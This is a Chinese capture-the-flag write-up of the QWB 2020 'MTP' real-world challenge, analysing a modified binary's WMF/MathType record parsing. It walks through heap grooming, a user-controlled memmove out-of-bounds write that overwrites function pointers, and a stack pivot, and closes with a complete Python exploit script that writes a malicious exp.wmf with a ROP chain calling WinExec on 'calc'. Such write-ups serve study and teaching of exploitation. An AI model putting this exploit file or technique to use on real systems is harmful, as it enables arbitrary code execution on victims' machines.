RW题目练习

MTP qwb2020

RW 题目对我来说是比较复杂的,但是其中漏洞的点可以比较快速的发现,但是利用得时候是非常麻烦和复杂的,对于菜单题可以快速进行pwntools进行交互,但是rw题目需要分析文件结构等,对于逆向来说实在是麻烦。

这次记录是从最基本的对比开始

使用beyond compare 4 进行文件对比

这些位置是修改了ASLR和增加了一个区段

image-20210622103229946

image-20210622103300105

这里就是修改的具体代码了

image-20210622103316014

分析差异位置

image-20210622103410315

跳转文件偏移,发现修改了一个指针,使其指向了新建的区段。

image-20210622103611941

新增了一些处理流程

image-20210622103735641

同时在下面发现了故意预留的指针,所以一定是通过覆盖指针 来实现对于WinExec函数的调用。

在旧的处理流程中发现了复制时长度可以由用户可控。

image-20210622112745798

想要在这里覆盖掉预留的指针,必须在这里想办法来覆盖掉高地址已经分配的块

漏洞分析

使用010 editor 来分析文件结构可以方便的发现这两个结构的位置

lpMR->rdFunction == 0x2019 && lpMR->rdParm[0] == 0x233 

随便新建一个文件,然后保存出来

image-20210622115124566

可以发现其实就是上面偏移所指向的位置其中 word function 其实就是第一个判断,通过这个可以来控制流程。

头部结构

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmf/19df7165-dd09-4fe1-9229-d2667a4a02f4

META_ESCAPE_ENHANCED_METAFILE 这个是对应了0x626

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmf/cfc88064-d86d-4b52-9374-3ce27d456179

image-20210622203136230

这个题目有个比较简单的地方是,头部的数据可以直接在其他文件中复制就可以了,因为无论是否正确都可以进行使用,而且checksum仅仅校验了头部的正确性。

想要进入添加的代码分支就要构造RecordFunction是0x2019 ,下一个字是0x233。在这个分支中主要完成的是对于内存块的申请,其实没啥具体意义主要是可以将内存中已经释放掉不连续的内存消耗掉。进而提高成功率。

image-20210622203520657

明确的是原始代码存在漏洞,所以添加的代码其实是为了内存布局和给一个触发漏洞的机会。

┌────────────────────┐
│ data  org>alloc_chu│
│ nk                 │ 上面的堆块 发生越界写 进而覆盖下面两个函数指针,进而控制程序
│ oob                │
│                    │
│                    │
│                    │
├────────────────────┤
│ p1          p2     │
├────────────────────┤
│string              │
│                    │
│                    │
│                    │
│                    │
└────────────────────┘

建立的模板中也就存在这个函数,进而定位可以控制memmove

image-20210622221738089

image-20210623102037307

想要覆盖下一个堆块 v7的指针向前移动,经过测试在经过第一轮的APPsMFCC以后正好是完全把申请的内存用掉了。所以下面要是还有一轮的话就能够覆盖后面申请的内存块了。

image-20210623155923930

想要这个函数不返回0 就要将这两个值调整成不相等的,对应文件中就是0x14和0x18的位置,而且0x18是覆盖多长的距离。

image-20210623160616554

所以修改0x14和0x18位置的值

大概步骤是 消耗 0x108的chunk -> 通过original_proc 的检查,然后申请0x108的chunk,同时修改0x18位置使其认为并没有结束循环。 -> 申请包含两个可用指针的chunk (想要覆盖的chunk)

image-20210623162607049

在下一轮中即可开始覆盖后面的chunk。

这里也需要通过覆盖来进行绕过。

image-20210623163010382

在控制程序流程后,第一个call是调整esp进行栈迁移,进而可以控制程序流程,程序中预留了可以控制esp的代码。

先测试覆盖下面的位置。

测试代码是仅仅将这个结构复制了一下 然后修改了两个位置。0x14和0x18

image-20210623212358134

在下面就会将如下位置的值覆盖过去 覆盖掉下一堆块的结构。image-20210623212434657

修改的位置是正好覆盖掉两个指针

image-20210623212551858

测试是否可以进行覆盖

image-20210623212801090

成功覆盖

image-20210623212825046

此时只要绕过下面的一个字符串比较即可,下面就可以进行开始构造栈迁移了。

# -*- coding: utf-8 -*-
# @Time    : 2021-06-21 14:50
# @Author  : H01K
# @Email   : 49335564@qq.com
# @File    : exp_m.py
# @Software: PyCharm
from winpwn import *
context.arch = 'i386'

start = [0xD7, 0xCD, 0xC6, 0x9A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x02, 0xC0, 0x01, 0x00, 0x09,
    0x00, 0x00, 0x00, 0x00, 0x51, 0x5D, 0x01, 0x00, 0x09, 0x00, 0x00, 0x03, 0x21, 0x91, 0x00, 0x00,
    0x02, 0x00, 0x94, 0x00, 0x00, 0x00, 0x00, 0x00 ]  #头部

body = [0x09, 0x00, 0x00, 0x00, 0x19, 0x20, 0x33, 0x02, 0x00, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00,0x00, 0x00] # 消耗chunk
exp1 = [0x81,0x00,0x00,0x00,0x26,0x06,0x0f,0x00,0xf7,0x00,0x41,0x70,0x70,0x73,0x4d,0x46,0x43,0x43,0x01,0x00,0x08,0x01,0x00,0x00,0xda,0x00,0x00,0x00,0x44,0x65,0x73,0x69,0x67,0x6e,0x20,0x53,0x63,0x69,0x65,0x6e,0x63,0x65,0x2c,0x20,0x49,0x6e,0x63,0x2e,0x00,0x05,0x01,0x00,0x07,0x04,0x44,0x53,0x4d,0x54,0x37,0x00,0x00,0x13,0x57,0x69,0x6e,0x41,0x6c,0x6c,0x42,0x61,0x73,0x69,0x63,0x43,0x6f,0x64,0x65,0x50,0x61,0x67,0x65,0x73,0x00,0x11,0x05,0x54,0x69,0x6d,0x65,0x73,0x20,0x4e,0x65,0x77,0x20,0x52,0x6f,0x6d,0x61,0x6e,0x00,0x11,0x03,0x53,0x79,0x6d,0x62,0x6f,0x6c,0x00,0x11,0x05,0x43,0x6f,0x75,0x72,0x69,0x65,0x72,0x20,0x4e,0x65,0x77,0x00,0x11,0x04,0x4d,0x54,0x20,0x45,0x78,0x74,0x72,0x61,0x00,0x12,0x00,0x08,0x21,0x2f,0x45,0x8f,0x44,0x2f,0x41,0x50,0xf4,0x10,0x0f,0x47,0x5f,0x41,0x50,0xf2,0x1f,0x1e,0x41,0x50,0xf4,0x15,0x0f,0x41,0x00,0xf4,0x45,0xf4,0x25,0xf4,0x8f,0x42,0x5f,0x41,0x00,0xf4,0x10,0x0f,0x43,0x5f,0x41,0x00,0xf4,0x8f,0x45,0xf4,0x2a,0x5f,0x48,0xf4,0x8f,0x41,0x00,0xf4,0x10,0x0f,0x40,0xf4,0x8f,0x41,0x7f,0x48,0xf4,0x10,0x0f,0x41,0x2a,0x5f,0x44,0x5f,0x45,0xf4,0x5f,0x45,0xf4,0x5f,0x41,0x0f,0x0c,0x01,0x00,0x01,0x00,0x01,0x02,0x02,0x02,0x02,0x00,0x02,0x00,0x01,0x01,0x01,0x00,0x03,0x00,0x01,0x00,0x04,0x00,0x00,0x0a,0x01,0x00,0x02,0x04,0x86,0x1e,0x22,0xa5,0x02,0x04,0x84,0xb8,0x03,0x71,0x00,0x00,0x00]
exp2 = [0x94,0x00,0x00,0x00,0x26,0x06,0x0f,0x00,0x1d,0x01,0x41,0x70,0x70,0x73,0x4d,0x46,0x43,0x43,0x01,0x00,0xf6,0x00,0x00,0x00,0xf6,0x00,0x00,0x00,0x44,0x65,0x73,0x69,0x67,0x6e,0x20,0x53,0x63,0x69,0x65,0x6e,0x63,0x65,0x2c,0x20,0x49,0x6e,0x63,0x2e,0x00,0x3c,0x3f,0x78,0x6d,0x6c,0x20,0x76,0x65,0x72,0x73,0x69,0x6f,0x6e,0x3d,0x22,0x31,0x2e,0x30,0x22,0x3f,0x3e,0x3c,0x21,0x2d,0x2d,0x20,0x4d,0x61,0x74,0x68,0x54,0x79,0x70,0x65,0x40,0x54,0x72,0x61,0x6e,0x73,0x6c,0x61,0x74,0x6f,0x72,0x40,0x35,0x40,0x35,0x40,0x4d,0x61,0x74,0x68,0x4d,0x4c,0x32,0x20,0x28,0x43,0x6c,0x69]
# .decode('unicode_escape')
exp3 = p32(0x00753053) # 切换堆栈
exp3 += p32(0x0043b056)
exp3 += 'Design Science, Inc.\x00\x00\x00\x00' #覆盖指针和绕过
exp3 += p32(0x004f086e)
exp3 += p32(0x636c6163)
exp3 += p32(0x0040359f)
exp3 += p32(0x00619FC0)
exp3 += p32(0x004f0e9c)
exp3 += p32(0x04EDB7E)  # WinExec
exp3 += p32(0x583190)  # ExitProcess
exp3 += p32(0x00619FC0)
exp3 += p32(5)
end = [0x03,0x00,0x00,0x00,0x00,0x00]

payload = bytes(start) + bytes(body)*0x1000 + bytes(exp1) + bytes(exp2) + bytes(exp3.ljust(0xb9,"\x00").encode('latin-1')) + bytes(end)

with open('exp.wmf', 'wb') as f:
    f.write(payload)


   转载规则


《RW题目练习》 Hook 采用 知识共享署名 4.0 国际许可协议 进行许可。
  目录